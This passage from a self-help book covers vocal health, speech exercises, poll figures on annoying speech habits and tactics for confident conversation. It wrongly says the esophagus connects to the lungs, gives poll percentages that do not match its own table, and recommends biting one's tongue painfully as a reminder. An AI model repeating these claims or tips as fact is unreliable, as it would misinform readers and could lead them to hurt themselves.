The V shape is formed by two separate muscles located side by side and facing one another. They open and
close, depending on whether you are talking. When you listen and are silent, this V is supposed to be open; it is
connected to a tube, the esophagus, which branches out and connects to the lungs. When the V is open you can
inhale and exhale. If the V is closed when you are silent, you will most likely turn blue, pass out, or even die.
When you talk, you speak on the air when you are exhaling. You cannot speak when you are inhaling. The V
closes and the muscle vibrates. That is how you make audible tones. The muscles come together and touch in
the middle of the V in order to create pleasant and clear speech.
Page 96
If you use your voice improperly by overly pushing on this muscle when you speak, you produce a hoarse
sound. If the muscle swells—for example, when you have a cold—you also sound hoarse, as the two sides of
the muscle have trouble coming together and vibrating. If you push these muscles too hard over a long period
of time or you put too much pressure on the top part of the muscle when you speak, you will also sound hoarse
or raspy. This is cause by two calluses, or nodes, that grow on the top of the muscle. When an actor or singer
overstrains her muscle continuously, she develops these nodes and has difficulty singing and speaking.
Non-actors and non-speakers who talk a lot also develop this problem. Even children develop these nodes if
they scream and yell a lot.
Additionally, if one of the vocal cords is paralyzed due to trauma or stroke, the voice may sound very breathy,
and it may be difficult to make oneself understood. If you apply constant pressure to your voice box by
speaking on the lower end of the V, you may develop what is known as contact ulcers.
A speech therapist or speech pathologist who specializes in voice therapy can usually help you. Before you
engage in speech therapy, you must ask the therapist if her specialty is voice therapy and how many voice cases
she has seen over the past year. If she has seen fewer than 50 cases throughout the year, or does not have a
master's or Ph.D. in speech pathology or speech and hearing sciences, and is not licensed by the state, don't see
her!
If therapy doesn't help, you may need surgery to remove these growths on your vocal cords and additional
voice therapy to learn how to properly use your voice so growths don't appear again. Coming up, you learn
how to care for your voice and how to use it properly, so that you don't have any problems.

Page 97
The following list gives some rules to follow so you don't damage your voice. The next section of this chapter
helps you remedy any speech and voice problems you might have.
Rules for Vocal Health:
• No smoking
• No drugs (except prescription)
• No alcohol
• Don't sleep with your mouth open
• Don't yell or scream
• Don't talk over loud noise
• Don't clear your throat
• Don't talk too loud
• Don't talk too much
• Limit consumption of dairy products
• Use throat lozenges whenever needed
• Drink lots of water
• Avoid spicy foods
Speak—Don't Squeak!
If you wish to lower the pitch of your voice, take a small sip of air through your mouth, hold it, bear down on
your stomach muscles, like you are going to the bathroom, and speak. You will be surprised at how much
lower the pitch of your voice will sound.
Over 60 percent of Gallup Poll respondents found a high-pitched voice to be one of the most annoying speech
habits. To ensure a clearer, richer, deeper, and confident sounding voice, bear down on your abdominal
muscles while opening up the back of your throat muscles while you speak. You'll learn this next.
Yawning—Opening Up the Throat for a Smooth Voice
To have a rich and resonant voice, it is essential to open the back of your throat as though you were yawning.
Try this as you sip in a breath of air. Hold the air for two seconds, open up the back muscles of your throat, and
slowly and gently say the ha
Page 98
sound for as long as you can. This exercise is also very helpful for those who have rough and gravely voices or
who suffer from vocal nodes, because it encourages the voice to flow smoothly through the exhaled air stream.
This exercise can also help to soften a harsh voice.
I Can't Hear You!
According to a Gallup Poll I commissioned to determine the most annoying speech habits, nearly 75 percent of
respondents stated that they were frustrated by a voice that is too soft or can't be heard. In order to project your
voice so that you can be heard, you must use your abdominal muscles to anchor your tones. Therefore, when
you speak you must put pressure on your larger and stronger abdominal muscles, not on your smaller and
weaker throat muscles. A good exercise for using these larger muscles is to place your hand on your abdomen
while repeating “yes, yes, yes” three times. You should feel a slight pressure on your abdomen as it moves
downward when you speak. In order to project your voice, you need to bear down on your abdominal muscles
as you speak. This increases the volume of your voice so that you can be heard.
Gallup Poll Results of the Most Annoying Speech Habits
Habit Annoyed Not Annoyed Don't Know
Interrupting 88 11 1
Swear words or cursing 84 15 1
Mumbling, talking too softly 80 20 0
Talking too loudly 73 26 1
Monotonous, boring voice 73 26 1
Fillers “um,” “like um,” “you know” 69 29 2
Nasal whine 67 29 4
Talking too fast 66 34 0
Poor grammar, mispronouncing words 63 36 1
High-pitched voice 61 37 2
Foreign accent 24 75 1
Stop Turning Me Off!
Besides the sound of your voice, your arsenal must include knowledge of the other major speaking turn-offs
discussed later in this chapter. They are monotonous, boring
Page 99
speech, a nasally whine, a too-loud voice, talking too fast, and mispronouncing words. You will also learn how
to avoid undesirable and unattractive habits when you are speaking or listening. In this section, I address these
issues and show you how to rectify any problems you might have in these areas.
Stop Putting Me to Sleep with Your Boring Voice!
There is nothing more disturbing than to be excited about something you have done, share it with another
person, and have that person drone on in a boring monotonous tone how happy she is for you. It feels as though
she took the wind out of your sails. She has completely turned you off.
In fact, a Gallup Poll revealed that close to 75 percent of individuals are turned off by people who have no life
in their voices. People who speak in a dead voice are emotionally dead. They are not in touch with their
emotions, often because they suffered some emotional trauma, repression, or early childhood conditioning.
Therefore, if you have a monotone voice I strongly recommend that you consult with a psychologist who can
help you uncover and deal with underlying emotional issues.
Physical exercises can also help you reduce your monotonous drone. Make an “ah” sound as you express the
following ten emotions, while you think back to an event in your life where you experienced these emotions:
• sadness
• surprise
• anger
• happiness
• fear
• disgust
• sympathy
• love
• doubt
• boredom
All of you “ah” sounds should sound different, some inflecting upward (for example, surprise, doubt, and
happiness) and others inflecting downward (disgust, love, and sympathy). Singing also helps you develop your
muscles so that your tones move up and down more readily.
I have recently recorded two CDs. Until this experience, I had never sung in my life, except when I was alone
in the bathtub or shower. But those who have listened to the CD have unanimously said they were impressed
by the quality and sound of my voice. This is the result of all my years as a voice and communication coach
and the exercises I did together with my clients, exercises that strengthened my vocal cords.
Page 100
By listening to my tapes or CDs, you too can hear the results of doing the speech and vocal exercises
throughout this chapter. Singing along with the lyrics provided will certainly help you improve the quality of
your own voice.
Whining No More
According to a Gallup Poll, 70 percent find whining annoying; it rates as one of the top five annoying talking
habits.
With the exception of those who have a physical abnormality such as a cleft palate or a neurological condition,
most of the nasal tones you hear are due to people not opening their jaws wide enough when they speak. In
essence, they tend to clench their jaws, which makes them talk through their nose instead of through their
mouth.
If you sound nasal, never clench your jaws and never allow your back teeth to touch when you speak. I suggest
that you pretend there is an imaginary dime holding your back teeth open when you speak. This technique will
immediately reduce or completely eliminate your offensive tone.
The following technique is very helpful in getting your jaw and tongue muscles accustomed to opening wider
when you speak.
Open your mouth as wide as you can while making a chewing motion. While chewing with your back teeth
never touching, repeat the following sounds.
• Yah yah yah yah yah
• Yo yo yo yo yo
• Yu yu yu yu yu
• Ye ye ye ye ye
• yoo yoo yoo yoo yoo
The Stuffed-Up Nose
Just as you can sound too nasal, you can also sound too non-nasal, as though your nose is stuffed up. And your
nose may very well be stuffed up, blocking your breathing passages. In this case, it is essential to consult with a
qualified ear, nose, and throat doctor. He can provide you with certain medications or may even perform
surgery to reduce the blockage.
You may also sound this way because you unconsciously close off your own nasal passages. The following
exercises help you eliminate your clogged-up sounds. Repeat each one of the following sounds five times in
succession, so that it sounds like you are saying one word (mamamamama, for instance). Do this with each of
these separate nasal sounds and repeat five times.
Page 101
mamamamama
mo ma mu me
nananananana
no na nu ne
ung ung ung ung ung
lung hung sung rung
Tasting Your Sounds
Too many of us slur our words, mumble, and mispronounce our sounds, such as leaving the “ings” off words
(such as with “coming” or “going”).
As a result, we are often misunderstood or end up making those listening to us feel uncomfortable. The Gallup
Poll verified this: over 63 percent of people found these characteristics annoying.
Kicking Key Consonants
Lisping children may be adorable. But as we discussed in the last chapter, studies have shown that people
perceive adults who lisp their s or r sounds (with the exception of a regional or foreign dialect) as not being
very bright.
Adult lispers are often made fun of. Those who lisp tend to be perceived as weaker and less intelligent than
those who don't lisp. As I have seen throughout the years in my private practice, this can affect one's social and
business standing.
Some lisping is due to ill-fitting crowns, dentures, braces or other dental appliances, missing teeth, spaces
between the teeth, or the position of the jaw. Other causes of lisping are significant underbites or overbites. If
this applies to you, consult an orthodontist immediately.
On the other hand, lisping may be due to poor tongue placement. To make a proper s sound, place the tip of
your tongue against your lower teeth, slightly open your jaw, and push out the hissing air. To make a proper r
sound, curl the tip of your tongue all the way back to the roof of your mouth.
Consonants are produced by the positions of the tongue, lips, teeth, and the back of the throat. The following
exercises will help improve your consonant pronunciation. Repeat them in rapid succession in the order listed
here:

Page 102
• Lips: pa pa pa ba ba ba ma ma ma wa wa wa
• Lower lip against teeth: fa fa fa va va va
• Tongue between teeth: the the the thin thin thin
• Tongue tip against back of upper teeth: ta ta ta na na na da da da la la la
• Tongue tip against back of lower teeth: sa sa sa za za za
• Tongue tip against roof of mouth: cha cha cha sha sha sha ja ja ja ra ra ra
• Tongue tip against back of throat: ka ka ka ga ga ga ung ung ung
Vowel Control.
Vowels are the meat of your speech. They are produced by selectively changing the size and shape of the oral
cavity. Here is a spoken exercise to help you with your vowel pronunciation.
• beet bit bet bat bought but
• boast boot ee ih eh ah aw uh o oo
Demolishing Disgusting Habits
The following sections define additional annoying speech habits and list some possible remedies for the
offender.
Say It—Don't Spray It!
Have you ever talked to someone and felt that you needed a raincoat? He spit and sprayed his saliva all over
you. If you yourself do this, help is on the way. This may be a casualty of not swallowing your saliva on a
consistent basis or having over-active salivary glands. They might also bear down hard on the back portion of
your tongue muscles, which in turn press on the salivary gland, thereby causing your saliva to squirt out. You
might also do this because of ill-fitting dentures, wearing braces, or having new crowns. In any case, relax your
tongue muscles each time you speak. Swallow your excess saliva after you finish speaking, and make yourself
take another breath before you continue speaking.
Swallow Already!
If you are listening intensely to someone, you might forget to swallow, and therefore you will drool. Another
Page 103
casualty of not swallowing is ugly spittle that builds up in the corners of your mouth. Both of these conditions
gross people out, so it is important to be conscious or mindful of swallowing your saliva on a consistent basis.
Swallow whenever you take in a sip of air before you begin speaking. Sipping water on a consistent basis
(especially when your mouth is dry) can often remind you to swallow. Mints are also effective in helping you
to swallow on a regular basis, so don't leave home without them.
Slow Down! It's Not the Grand Prix.
Close to 70 percent of the respondents in the Gallup Poll couldn't stand it when people spoke too fast. Asking
someone to constantly repeat what she said is not fun. You may find people snapping at you because they are
frustrated by not being able to understand what you are saying. To slow down your speech, do the exercises
found in an earlier section, “Marrying Your Breathing with Your Talking.” Another way to slow down is to
draw out your vowel sounds for approximately one second.
Quiet! My Ears Can't Take It!
Speaking too loudly is often a sign of hearing loss. If you find that people are wincing when you speak or
shushing you on a regular basis, you should consider seeing a doctor. The solution may be as simple as having
your ears cleaned out.
Spit It Out Already!
According to my Gallup poll, many people were also annoyed by someone who spoke too slowly. You may do
this while you are thinking, thus ignoring the person you are speaking to. If you have a boring, monotonous
voice, you might tend to exaggerate your vowels. In order to stop this, be mindful each time you speak. As you
sip in air before you begin to speak, think of spending only one second on each vowel. This way, you speed up
and talk at a rate at which people find it pleasurable to listen to you.
It is also important, especially if you are in a situation where you are expected to do some public speaking, to
avoid saying the following words: “like,” “um,” and “uh.” So be mindful of your filler words. Silence is better
than making someone listen to these motor-like sounds. Flowing your sounds together and coordinating your
breathing with your talking (as mentioned earlier) can help.
Spending one second on each vowel, as well as consciously stopping yourself whenever you want to “um” and
“uh,” can also help you to modify this negative behavior. Hearing silence is better than hearing your annoying
sounds.

Page 104
Hints to Help Control Your Stuttering
If you stutter by repeating words or sounds, or have episodes of silence accompanied by facial tics, you often
can't help it. In many cases, certain techniques I describe in this chapter can help you overcome stuttering.
Many of my stuttering clients, including a famed former cornerback of the Oakland Raiders football team, have
made amazing progress using these techniques.
Page 105
Chapter 8
Communication Skill Defense
To win the verbal war, it's not enough to have the proper speaking skills. It is equally important to know how to
annihilate your enemy with your radiant confidence. What you say is just as important as how you say it and
how you feel about yourself when you say it.
When you can be glib and feel comfortable talking with anyone in any situation, you are halfway to winning
the verbal battle against your adversary.
Who in the World Are You?
When you know yourself, you know the world around you and how you fit in. You know what you will and
won't tolerate. You will know who and what is good for you and who or what isn't.
Many insecurities come about because we don't really know ourselves, and as a result we aren't sure about
ourselves. We know more about others than we know about ourselves. You probably can rattle off your mate's
favorite color, food, and turn-ons and turn-offs. If I asked you these same questions about yourself, however,
you probably could not answer as quickly, and would most likely have to stop and think for a while.
Page 106
Why? Because you have never taken the time to really think about your likes and dislikes. Unless you have
spent several years in psychoanalysis, you have not closely examined yourself. You haven't invested much time
into thinking about all of the parts of you that make you who you are. Now it's time for you to learn as much as
you can about the number one person in your life—YOU! It's your chance to become introspective and find out
all you ever wanted to know but didn't think to ask about yourself.
“Who Are You?” Quiz.
In the back of every issue of Vanity Fair magazine is a page on which a celebrity is asked provocative
questions. If you cover up the celebrity's answer and substitute your own, you will be surprised by the things
you can discover about yourself—things that never entered your mind before.
In the following list, you will find a series of questions ranging from easy to some requiring considerable
thought. Answer with the first thing that comes into your mind. Enjoy!
“Who Are You?” Quiz
1. Favorite color ___
2. Favorite type of music ___
3. Favorite type of film ___
4. Favorite animal ______
5. Three adjectives describing it ______
6. Favorite smell _____
7. Favorite food ______
8. I like to drink ______
9. My favorite sport is _____
Page 107
10. My favorite city is _____
11. My favorite books are _____
12. I usually read ______
13. My favorite TV show is ___
14. My favorite actor is _____
15. My favorite actress is ___
16. Favorite season ___
17. Favorite time of the day ___
18. If there was a disaster I would grab ___
19. Favorite male ___
20. Favorite female ______
21. Three things I love to do ______
22. The happiest time of my life ________
23. The worst time of my life ________
24. Three things I would like on a desert island _____
25. Three people I would like on a desert island ________
26. The woman I admire the most ________
27. The man I admire the most ________
28. Three women I admire ________
29. Why ________
30. Three men I admire ________
31. Why ________
32. When I was a child I admired _____
33. Who is my mother ________
34. Who is my father ________
35. People who make me miserable ___
36. Why ________
37. When I was younger _____
38. When I get older ________
39. When I get angry, I ________
40. What upsets me the most is _____
41. I regret ________
42. I never regret ________
Page 108
43. I am so happy I ________
44. Beautiful women make me feel _____
45. Powerful men make me feel ______
46. Powerful women make me feel ______
47. Handsome men make me feel ________
48. What makes me cry is _____
49. What makes me laugh is _____
50. My biggest fantasy would be ________
51. Whenever I'm nervous, I _____
52. When I look in the mirror I ________
53. The three qualities I look for in a friend are _____
54. The three traits that turn me off in people are _____
55. I could vomit if _____
56. When I get angry, I _____
57. When I get nervous, I _____
58. A perfect mate would ________
59. A perfect life would be ________
60. My three best traits are _____
61. My three worst traits are ________
62. I love _____
63. I hate ________
64. My childhood was _____
65. As an adult I ________
66. I'd never change ________
67. I'd love to change ________
68. I see myself as ________
69. Others see me as ________
70. Next week I want to ________
71. Next month I want to ________
72. Next year I want to ________
73. In the next 5 years, I want to _____
74. If I were President, I would _____
75. If I had three wishes, they would be _____
Page 109
The Results of Who You Are
There are no right or wrong answers. Your responses merely make up a profile of who you are. How many
questions did you have to ponder before you could answer them? How many questions were easy to answer?
Examining your answers gives you an even greater opportunity to look inside yourself and even make changes
in how you see yourself and live your life. This survey is also excellent to do several times a year, so that you
can chart your personal development.
It might also be a good idea to have loved ones fill out the same questionnaire; then you all can share your
results. This can bond you closer to the ones you love.
Keys to Gaining the Upper Hand
First and foremost, you need to have a winning attitude and winning ways to communicate with your opponent
if you are going to be successful on the verbal battlefield. You have to like and respect yourself enough that the
verbal bullets will have a difficult time penetrating your psyche.
You Gotta Like You!
It's not enough to know yourself. You must like yourself as well. If you like and respect you, others usually
follow suit. They wouldn't dream of treating you any way you wouldn't treat yourself.
When you like you, you don't let people walk over you, abuse you, or say horrible things to you. You know
how you fit into the world. You come from a position of self-respect and in turn demand that respect from
others. If you are being treated poorly and consistently spoken to in an abusive manner in your relationship,
you are treating yourself poorly by staying in that relationship. The first step to changing this situation is to like
yourself enough to get out! Get out immediately! The book Toxic People—10 Ways of Dealing with People
Who Make Your Life Miserable, which can be purchased using a form in the back of this book, gives you all
the steps you need to unplug from this extremely toxic situation.
Don't Like Something About Yourself? Change It!
If you happen to dislike something about yourself, with all the choices available to you these days, you can
definitely improve or change it. You might protest, “this is the body or face I was given, so why change it?” In
a sense, of course, you are

Page 110
absolutely right! Why change what was given to you naturally? On the other hand, if you're self-conscious
about some aspect of yourself such as your nose or body, improving it can change your entire outlook about
yourself.
Psychotherapists exist to help you improve your personality, while plastic surgeons, skin specialists, speech
and voice coaches, hairdressers, dentists, orthodontists, clothing and makeup consultants, and weight-loss
specialists can help you become the best you can be. There are no more excuses! You can be all that you want
to be—if you want to be all that you are!
When you really like yourself, are willing to accept everything about yourself, and are working to improve the
things you don't like, you become more secure within yourself. As a result you become more powerful. Your
power and radiance can be blinding to your verbal adversaries, who might just back off.
Talk Nice to You and Others Will Too
Never be a verbal abuser to the person you need to care for the most—YOU! When you say negative things to
yourself, you are unconsciously chipping away at your self-worth, which obviously diminishes your selfesteem.
You might think that you are being humble by cutting yourself down or being self-deprecating, but you
are not.
Instead you are exhibiting a weakness—a “one-downsmanship” that your verbally hostile opponent can latch
onto. In essence, you are giving your opponent more verbal ammunition to use against you. It may feel okay or
painless when you make a cutting remark about yourself. When that cutting remark comes out of the mouths of
other people, however, suddenly there is a painful sting to their zing! They might even add more verbal poison
to the cutting remarks you already made about yourself. They may embellish what you said, thereby making
their cut even deeper and more excruciating by hitting one of your most vulnerable emotional spots. Imagine.
The moral of this lesson is this: Don't add to the arsenal of your verbal enemy—don't say bad things to
yourself.
Cancel That!
What happens if you forget and end up saying something bad about yourself because you haven't yet gotten
into the habit of being nice to yourself? This is expected. What you need to do in this case is to say the words,
“Cancel that remark!” Say it out loud. Eventually your negative remarks will become fewer and fewer because
you will be more verbally conscious of what you are saying to yourself.
Page 111
The Power of the Word—What a Surprise!
Whether you believe in metaphysics or precognitions, in my personal research of tragic stories, I've observed
that when people utter negative expectations, these usually come to pass. This is called the “self-fulfilling
prophecy.” If you don't think that you can do something, chances are that you can't or that you won't do it well.
Even if you are feeling a little insecure because you have never done something before, keep telling yourself
that you can do it: you'll be surprised at what happens. Many successful athletes and Olympic winners with
whom I've worked use this technique. So did the little train in the ever-popular children's story. The little train
“thought he could,” and by golly, he did get up that steep railroad track!
Thoughts in Your Head
You are what you think! It doesn't matter what others think. It only matters what you think about you. It's as
simple as the fact that if you think good thoughts, more good will happen to you, while if you think bad
thoughts, more bad will come to you. If you really believe you can do something, most likely you will do it.
If you really want to work to replace the ideas that you are a failure in life and that you are limited in how far
you can go, try meditation and affirmation tapes by Guru Ji Pillai, Ph.D. The tapes teach you how to think
“vertically”—to think about infinite possibilities in your life. This is in contrast to horizontal thinking—going
along with the status quo and being stuck in a rut. Guru Ji says that only by expanding your thoughts and your
awareness can you manifest your goals and life dreams. His philosophies and concepts are so effective that
popular author Dr. Wayne Dyer has incorporated Guru Ji's unique technique in his best-selling book Manifest
Your Destiny.
Open Your Mind!
To gain the winning advantage over your verbally vicious opponent, you need to deflate all prejudices or
preconceived notions you have about him or her. Begin each interaction with a fresh new outlook.
This might seem a Herculean task, and indeed it does require a lot of practice and inner harmony to
accomplish. I'm not telling you to forget about how awful they can be. I am not telling you not to be on guard.
What I am telling you is to follow the same approach used by martial artists. When they face their opponents,
they show no fear or anger towards their opponents and clear their minds of any previous feelings toward them.
A closed mind begets closed life. An open mind, on the other hand, results in an open and exciting life filled
with the excited anticipation of what is going to happen next. An open, non-prejudiced mind allows you to deal
with any situation or person that may come your way because you are free of preconceived notions. You are
ready for any surprise!
Page 112
Open Your Heart!
When we are angry or upset, our body, especially our hearts, react much differently than when we have good
and positive feelings about a person.
Here is a technique that can help you open your heart, even toward a verbal adversary. Try to imagine that
person as a sweet and innocent baby. Try to find one good point about him and focus on that thought. If you
can't find at least one good thing about him, you haven't looked hard enough.
Opening up your heart towards the adversary may often result in diffusing his hostility and anger. Don't
hesitate to make the first move—whether you smile at him, put out your hand for a friendly handshake, or
make a kind remark. If the situation is befitting, you can even offer a short and warm “hello” kiss. You'll get a
lot of satisfaction from taking him off-guard.
Your loving and heartfelt gestures often diffuse others' anger and hostility towards you. So don't be surprised if
you see a 180-degree turn in their behavior. Watch them metamorphose from mean to nice in less than 10
seconds.
Congratulations, you have just won the first battle in the verbal war!
Tactics Used to Promote Verbal Peace with Others
So much of verbal warfare is brought about by miscommunication and by misconceptions of what was said,
and by misinterpretations of words and perceived rudeness from the other party. The rest of this chapter is
devoted to ways you can avoid potential verbal attacks.
Speak Up Immediately!
No festering allowed! No shoving what they said, and your emotional reactions to it, under the table! No more
keeping things in. Speak out immediately. The best phrase for you to use when you are miffed by what
someone had just said is, “Excuse me, what did you mean by that? Explain what you mean.”
If you heard right the first time, and they said what you thought they said, take immediate issue. What happens
when it's 2 A.M., and your thinking about a perceived negative comment keeps you up? Call the person first
thing in the morning when she gets into work, and deal with it then. Otherwise, if it's a reasonable time in the
day, call her as soon as the comment starts to bother you.
Page 113
Monitor Your Mouth
Just as it is essential to know when to speak up, it is equally important to know when to keep quiet. You can do
this by observing your opponents clearly, as was discussed throughout Chapter 1.
If you stop, look at them, and really listen and empathize with them, you will be surprised at how much less
frequently you will say the wrong thing. You will become more conscious of your words.
If you stop and suck in air for a moment before you speak, you will never make a faux pas. Mistakes like these
are usually made when you are not thinking about whom you are speaking to and what you intend to say.
Pay Attention to Trigger Words and Phrases.
Sometimes, things are going along fine, and then all of a sudden you hear a word or a phrase that sets you off,
starting a full-scale war. These words and phrases can cause long-buried negative emotions to resurface.
The following list gives some phrases you should never use. They are destined to trigger a negative response
and put someone on the defensive. When a sentence or conversation begins with any of these phrases, the
person has automatically tuned you out, is ready to attack, or is ready to verbally defend himself.
1. You should have ___
2. You never ___
3. Why don't you ever ___
4. Why didn't you ___
5. You'd better ___
6. I don't believe you.
7. That's not true.
8. Don't you ever ___
9. How could you ever ___
10. You make me ___
Instead, you might want to substitute the phrases listed here with the following phrases, which are destined to
get the person to hear you and perhaps do what you want them to do:
1. Perhaps you could ___
2. I'd appreciate it if you would ___
3. It would be in your best interest if you would ___
4. Have you looked at it from this point of view?
Page 114
5. I don't mean to contradict you, but have you also considered ___?
6. Perhaps we could both ___
7. May I suggest ___?
8. I would prefer _____
9. It hurts my feelings when you don't ___
10. Do you think it would be a good idea if ___?
11. I would never criticize you, but don't you think that perhaps__?
Terms of Endearment
A verbal pat on the back is only a few vertebrae away from a verbal kick in the pants. When you want to
maintain good relationships with people who you like, always incorporate terms of endearment. “Please,”
“would you mind,” “I like [or “love,” if appropriate] it when you __” are musts, no matter how familiar you are
with the person.
“Honey,” “sweetie,” “baby,” “dear,” “love,” and “darling” are great terms to use when you have just been in
verbal battle with a loved one. These terms often reassure the person that no matter how angry you both got at
one another, you still feel tremendous affection towards her. On the other hand, the consequences of speaking
these words to the wrong person in the wrong context can be disastrous. They can land you in front of a judge
in a sexual harassment suit or get you fired, not to mention generating a lot of unnecessary hard feelings.
Southerners and older people who see nothing wrong with calling someone they like “darlin” have to be extra
careful, since their use of terms of endearment are a way of life.
The moral of this story is to be always mindful of whom you are going to verbally endear.
Let Them Speak Their Piece
If you really want to aggravate people, just keep interrupting them when they are trying to make a point. As I
explained earlier in the book, people who interrupt are considered to be extremely annoying as well as toxic.
To curb your tendency to interrupt someone constantly, do the following:
1. Take the tip of your tongue and stick it between your two front teeth.

Page 115
2. Bite down hard on your tongue (not so hard that you bite off your tongue or make it bleed).
3. Stick your tongue back in your mouth.
The stinging and lasting pain you experience from having bitten your tongue will serve as reminder to keep
your tongue in your mouth and let the other person speak.
Enough About You Already!
Constant talking about yourself angers people who are forced to listen to you. They might react by becoming
short-tempered with you or by making fun of you. You might, however, be so self-consumed that you won't
hear them anyway, or don't care even if you do care. Eventually, in addition to avoiding talking to you, they
will use you as the brunt of jokes with their friends. The bottom line is, share the stage! Don't hog the
conversation!
You will learn more about the art of having a great conversation in Chapter 9.
Mind Your Own Business!
Don't impose; don't get too detailed. Read their body, face, and verbal cues. Don't ignorantly and unconsciously
keep asking questions. Let them volunteer. Don't invade their privacy or personal space. If you pay close
enough attention, you'll know when you have done so. If you have, back off immediately!
Don't offer advice unless you are asked. This is a sure-fire way to alienate people, especially if they don't like
your advice. You will feel bad that they didn't heed it. And they in turn will feel bad that you are judging them,
when in reality you were only trying to help them.
Minding your own business means keeping confidences. Even though we all love the dirt, it's ugly when
someone tells you something that is her personal business. Therefore, mind your own business and not
everyone else's, even though you may know more than you need to know.
Respect Should Be Your Mantra
We throw the word “respect” around like a Frisbee, but nobody pays much attention to what it really means.
When you respect, you appreciate, cherish, honor, and admire.
Page 116
In essence, you look up to the person. That doesn't mean that you look down at yourself and hold him in higher
esteem. Instead, it means that you honor who he is. With “respect” comes the complete consciousness and
awareness of the other person. You need to always be aware of his time. That means when he says he has to go,
let him go. Don't keep him.
When people say they're going to accomplish something no matter how large or small the project is, respect
them enough to assume that they will accomplish what they said they would accomplish. Don't give any
reasons why it can't be done. Don't even think about negating or diluting what they said.
Don't Like the Answer? Then Don't Ask the Question.
Too many people bait you by trying to get you to commit to an answer or get your opinion even though you
may be reluctant to give it. Then, if they don't like what they hear, they will take it out on you or on
themselves. Often they can never forgive you. In order to avoid giving them an answer they may not want to
hear and to circumvent the dilemma of being damned if you speak and damned if you don't speak, be
diplomatic. If you sense that they will hold a grudge against you for life, think carefully about answering them.
It may seem like the cowardly thing to do, but it is your judgment call. Trust your instincts. Another tactic is to
change the subject or excuse yourself from the room for a moment (go to the bathroom, for instance). This
might buy enough time that they will forget and go on to another topic. If they persist, tell them that you feel
uncomfortable and don't want them to hate you if they don't like the answer they are about to hear.
If you are the recipient of the news, take full responsibility for asking the question, and most importantly,
“don't kill the messenger.”
Page 117
Chapter 9
Confident Conversation
The Real Secret of Talking to Anyone
You can read a million self-help books on how to have a great conversation. In fact, I know of about five books
on the market with similar titles about how to speak to anyone about anything. Television interviewer Barbara
Walters released one of these books in the '70s; more recently, talk-show host Larry King had one published.
You can sum up this entire topic up in just four words: Be interested—not interesting!
Listen and ask sincere questions, and you'll be surprised at how many successful business liaisons you will
develop and how many friends you will make. No matter how you deny it, everyone—you, me, and everyone
else in the world—loves to talk about their favorite and most interesting topic—themselves! When you
stimulate that topic, they like it, and in turn they like you!
Page 118
Understanding the Four Steps of Confident Conversation
Now that you have the tools for a great verbal mechanism, you have to put them to use. What better way than
to have a conversation with others?
In this section, you learn about the four basic steps to holding a confident conversation.
First, you will learn about pre-conversation, what to do before you even approach someone and initiate a
conversation with them. The second step is initiating the conversation. This involves the key questions to ask
once you have approached someone and subjects to avoid. You will also learn how to maintain the
conversation once it has begun, and finally, the key to exiting a conversation with confidence.
When you are done reading this section, you'll have all the tools necessary to be confident enough to talk to
anyone, any time, and under any circumstances.
Confident Pre-Conversation.
Whether you realize it or not, your conversation begins well before you have even opened your mouth. Those
with a lot of experience dealing with people—such as a salesperson or a social butterfly—find it second nature
to meet and greet people. But most people feel uncomfortable going up to a stranger and talking to them. The
thought of doing it leaves most people either paralyzed or with a sick feeling in the pit of their stomach. So, if
you can relate to this, rest assured you are not alone. Everyone gets rejected and feels bad, so join the club.
Only this time, you have pre-conversation tools to help you gear up for the gut-shaking event about to take
place. Before you begin, you have to visualize something good happening with the prey that you have picked
out to experiment on.
Ending the “I Think That You Think That I Think” Game Forever!
For the most part, who cares what people think about you? Even if they don't like you, before even meeting
you, they won't have laser beams coming out of their eyes to burn you. Usually, what a stranger thinks about
you is irrelevant and none of your business. As long as you like you and feel secure with yourself, that's what
counts.
So stop making yourself nuts playing the “I think, you think, I think” game. The truth is that they aren't even
thinking about you or anything else. They may have a sourpuss expression on their faces because they are
hungry or their tummy hurts.
Page 119
If your mind starts to play the “I think, they think” game, stop yourself immediately using the “cancel that
thought” technique. Only instead of doing this technique by speaking out loud, think it silently to yourself.
Smile All the While
Stop! Look and smile, and keep looking and smiling! That is the best way to meet someone you are attracted
to. If someone looks at you, smile back out of respect. If you are not interested, make it a short, curt smile and
then look away. This shows that you have politely acknowledged him or her. If you are attracted to the person,
no matter who looked at whom first, simply smile a little longer and say hello. If they return your hello, you
have a golden opportunity to start talking and to make a new friend. I have met so many people this way,
especially in airports, and many of them have turned out to be some of my closest and dearest friends.
Granted, at first it may be very uncomfortable for you to make this behavior part of your life. But with practice
it will become a habit, and a pleasant one at that.
Do It Anyway!
Come on—just smile! Even though you don't feel like it, do it anyway! Nine times out of ten, the other person
will smile back.
If you're having trouble kick-starting your smile, simply visualize yourself smiling at them and them returning
the smile, accepting you, returning your

Page 120
compliments, and engaging you in conversation. Visualize yourself having them as a potential client, employer,
employee, friend, lover, or even mate.
Now visualize the reverse. See the situation being a disaster, with them paying no attention to you, giving you
dirty looks, and walking away from you. Did you die? No, you survived, with all your parts intact. So what's
stopping you? What's the worst that can happen? Let's say that the person rejects you. There is nothing bad that
can happen, not even bruised ego, because this is also an exercise in seeing reality—the reality that not
everyone will be attracted to you nor will you be attracted to them.
After your positive and negative visualizations, enter the situation with a clean slate, erasing from your mind
every pre-conceived notion about the person and about yourself. Remember to do the Relaxation Breathing
Technique before you make your move. Now go for it! Do it! Smile!
You Die When You're Shy!
You both connect with one another, you've returned glances and smiles, but what to do you next? You're
paralyzed with fear. You rationalize that you are feeling this way only because you are “a shy person.” Well, if
that's what you want to believe about yourself, you may as well crawl into a hole and live there.
Life is to be lived. Opportunities are to be taken and people are to be met. If you have ever felt like kicking
yourself, even years later, for not making that first move and saying something, you are not alone.
To make sure this situation never happens again, re-label yourself and remove the word “shyness” from your
vocabulary. You have nothing to be shy (insecure) about anymore.
Of course, you have to have something to say, and in the rest of this chapter you'll learn what to say to break
the ice.
Only a Fool Plays It Cool!
There are those who think they are being cool by acting aloof. Even if they are chomping at the bit or drooling
at the mouth and would give almost anything just to meet the person across the room, they don't. It's not
because they are shy and intimidated, it is because they are trying to act “cool.”
This coolness takes the form of not looking at people or returning their glance or smile. It's looking down or
pretending to be very animated in conversation with someone else. It's designed to let someone know that you
are cool—a catch—albeit difficult to catch. Acting cool is quite common among young people in their teens
and twenties, but it often continues into adulthood. It's a power game that establishes who's going to be in
control. Just remember, the people who play this game ultimately lose.
Page 121
The cool people may lose an opportunity to enhance their professional lives. The person they have snubbed
may have been an important conduit towards success in their career.
Initiating a Confident Conversation.
Coolness aside, here are some things not to do when initiating a conversation. Otherwise your conversation will
end before it begins.
• Don't tell lame jokes or a joke where there is a 50 percent chance people won't like it.
